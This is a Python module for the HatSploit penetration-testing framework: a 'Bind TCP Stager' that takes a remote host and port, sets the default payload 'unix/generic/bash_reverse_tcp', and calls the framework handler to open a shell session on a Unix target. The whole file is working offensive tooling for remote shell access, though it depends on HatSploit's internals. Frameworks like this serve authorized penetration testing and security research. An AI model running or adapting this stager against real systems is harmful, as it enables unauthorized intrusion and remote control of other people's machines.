#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler


class HatSploitModule(Module, Handler):
    details = {
        'Name': "Bind TCP Stager",
        'Module': "exploit/unix/stager/bind_tcp",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer'
        ],
        'Description': "Bind TCP Stager.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "unix/generic/bash_reverse_tcp",
        'Categories': None,
        'Architectures': None,
        'Platforms': None,
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        }
    }

    def run(self):
        remote_host, remote_port = self.parse_options(self.options)

        self.handle_session(
            host=remote_host,
            port=remote_port,
            payload=self.payload,
            method="bind_tcp"
        )
